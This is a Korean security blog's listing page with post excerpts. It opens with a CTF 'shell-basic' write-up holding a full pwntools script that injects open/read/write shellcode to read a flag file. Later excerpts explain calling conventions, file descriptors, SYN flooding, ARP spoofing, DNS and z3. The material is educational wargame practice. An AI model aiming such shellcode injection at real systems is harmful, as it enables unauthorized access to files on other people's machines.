Layer7 (45) 썸네일형 리스트형 shell-basic WriteUp from pwn import *p = remote("url", port)context.arch = "amd64"r = "/home/shell_basic/flag_name_is_loooooong"shellcode = ''shellcode += shellcraft.open(r)shellcode += shellcraft.read('rax', 'rsp', 0x100)shellcode += shellcraft.write(1, 'rsp', 0x100)print(p.recv())p.sendline(asm(shellcode))print(p.recv())플래그 위치는 /home/shell_basic/flag_name_is_loooooong이다. r 변수에 위치를 저장해주고 read와 write를 활용하여 shellcra.. x86, x64 Calling Convention 정리 32비트 함수 호출 규약 cdeclC언어에서 사용되는 방식으로 call하는 쪽에서 스택을 정리한다. stdcallcdecl과 반대로 호출된 함수에서 스택을 정리한다. fastcallstdcall 방식과 같되 함수에 전달하는 파라미터 일부를 스택이 아닌 레지스터를 이용한다.64비트 함수 호출 규약fastcall 방식 하나만을 이용한다.다만 변형된 fastcall 방식으로 함수 파라미터 4개까지 레지스터에 저장하여 전달한다. File Descriptor 개념 정리 File Descriptor- 시스템으로부터 할당받은 파일을 대표하는 '0'이 아닌 정수 프로그램이 프로세스로 메모리에서 실행을 시작 할 때, 기본적으로 할당되는 파일 디스크립터들이 있다. 바로 stdin, stdout, stderr이다. 이 들에게 각각 0, 1, 2 라는 정수가 할당된다. 프로그램이 시작되면 기본적으로 열리고, 종료 시 자동으로 닫힌다. 하여 파일 open/read/write 등을 했을 때 부여되는 fd는 3부터 시작된다. 시스템해킹 환경구축 apt install gdb로 gdb를 설치해준다. pip install pwntools SYN Flood 정리 3 Way Handshake① 클라이언트는 SYN패킷( sequence number 포함 )을 생성해서 서버에 전달한다.② 서버는 SYN 패킷( sequence number 포함 )과 받은 ACK 패킷( SYN의 대답 / acknowledgement number 포함 )을 클라이언트에게 전달한다.. 그리고 서버는 클라이언트의 접속을 받아들이기 위해, 램( RAM )에 일정 공간을 확보 해 둔다.③ 클라이언트는 방금 받은 ACK 패킷( SYN의 대답 / acknowledgement number 포함 )을 서버에 전달합니다. 여기서도 마찬가지로 acknowledgement number의 값은 방금 받은 SYN 패킷의 sequence number 값에 일정 값을 증가시켜서 보낸다.SYN Flooding3 Wa.. ARP 정리 ARP는 주소 결정 프로토콜(Address Resolution Protocol, ARP), 즉 IP 주소를 MAC 주소와 매칭시키기 위한 프로토콜입니다. ARP를 사용하는 이유는 로컬 네트워크(LAN, Local Area Network)에서 단말과 단말 간 통신을 하기 위해서는 IP 주소와 함께 MAC 주소를 이용하게 되는데, IP 주소를 MAC Address와 매칭하여 목적지 IP의 단말이 소유한 MAC 주소를 향해 제대로 찾아가기 위함입니다. ARP SpoofingARP Spoofing( == ARP Cache Poisoning)은 LAN 에서 사용하는 ARP 프로토콜의 허점을 이용해 자신의 MAC(Media Acess Control) 주소를 다른 컴퓨터의 주소인 것처럼 속이는 공격이다. 원래의 동.. DNS 정리 DNS란 ?DNS란 도메인을 IP로 변환하거나 도메인으로 다시 변경해주는 것을 말한다. DNS의 구성 요소는?DNS는 아래와 같이 크게 3가지로 분류 할 수 있다.Domain Name Space : DNS가 저장 관리하는 계층적 구조Name Server : 권한 있는 DNS 서버Resolver : 권한 없는 DNS 서버DNS는 도메인 이름을 웹 브라우저에 입력하는 경우 해당 사이트의 올바른 IP 주소를 찾는 역할을 수행하기 위해 “이 도메인 이름은 이 IP 주소이다”라는 ‘텍스트’를 저장하는 DB가 필요하다. Domain Name Space : 도메인 네임 스페이스라는 방법으로 도메인 이름 저장을 분산한다. Name Server : 도메인 이름의 IP 주소를 찾는다. Resolver : 클라이언트의 .. 나만의 vm C언어로 구현하기 #include int value = 0;int memory = 0;void input() { printf("값을 입력하세요: "); scanf("%d", &value);}void output() { printf("입력된 값: %d\n", value);}void calc() { value += 5; printf("계산 후 값: %d\n", value);}void store() { memory = value; printf("값이 저장되었습니다: %d\n", memory);}void load() { value = memory; printf("불러온 값: %d\n", value);}void loop() { for (int i = 0; i 0) { .. z3-solver 사용법 정리 z3-solver 설치z3 solver는 특정 값들을 찾아주는 SMT solver 모듈이다.z3-solver는 많은 언어에서 사용할 수 있지만 이 글에선 python 기준으로 설명하도록 하겠다. pip install z3-solverpip를 이용하면 손쉽게 z3-solver를 설치할 수 있다. z3-solver 불러오기사용 전에, z3-solver는 모듈이기 때문에 import로 모듈을 불러와야한다. from z3 import *z3-solver 모듈은 이렇게 불러올 수 있다. 미지수 선언 정수형 미지수 선언x = Int('x')y = Int('y') Bool형 미지수 선언x = Bool('x')y = Bool('y') 비트벡터 미지수 선언x = BitVec('x')y = BitVec('y')사용법예를들.. 어셈블리어 strlen, strcpy, strcmp 세줄요약 strlenstrlen 함수는 문자열이 저장된 메모리 주소를 받아 길이를 확인하는 함수이고 문자열 마지막에 붙는 NULL 문자를 제외한 문자열의 길이를 반환함 strcpystrcpy는 인자를 두개 받아 문자열을 복사하는 함수이다. strcmpstrcmp는 인자를 두개 받아 비교하고, 같으면 0, 첫번쨰 문자열이 두번째 문자열보다 작으면 -1, 아니면 1을 반환함 이전 1 2 3 4 5 다음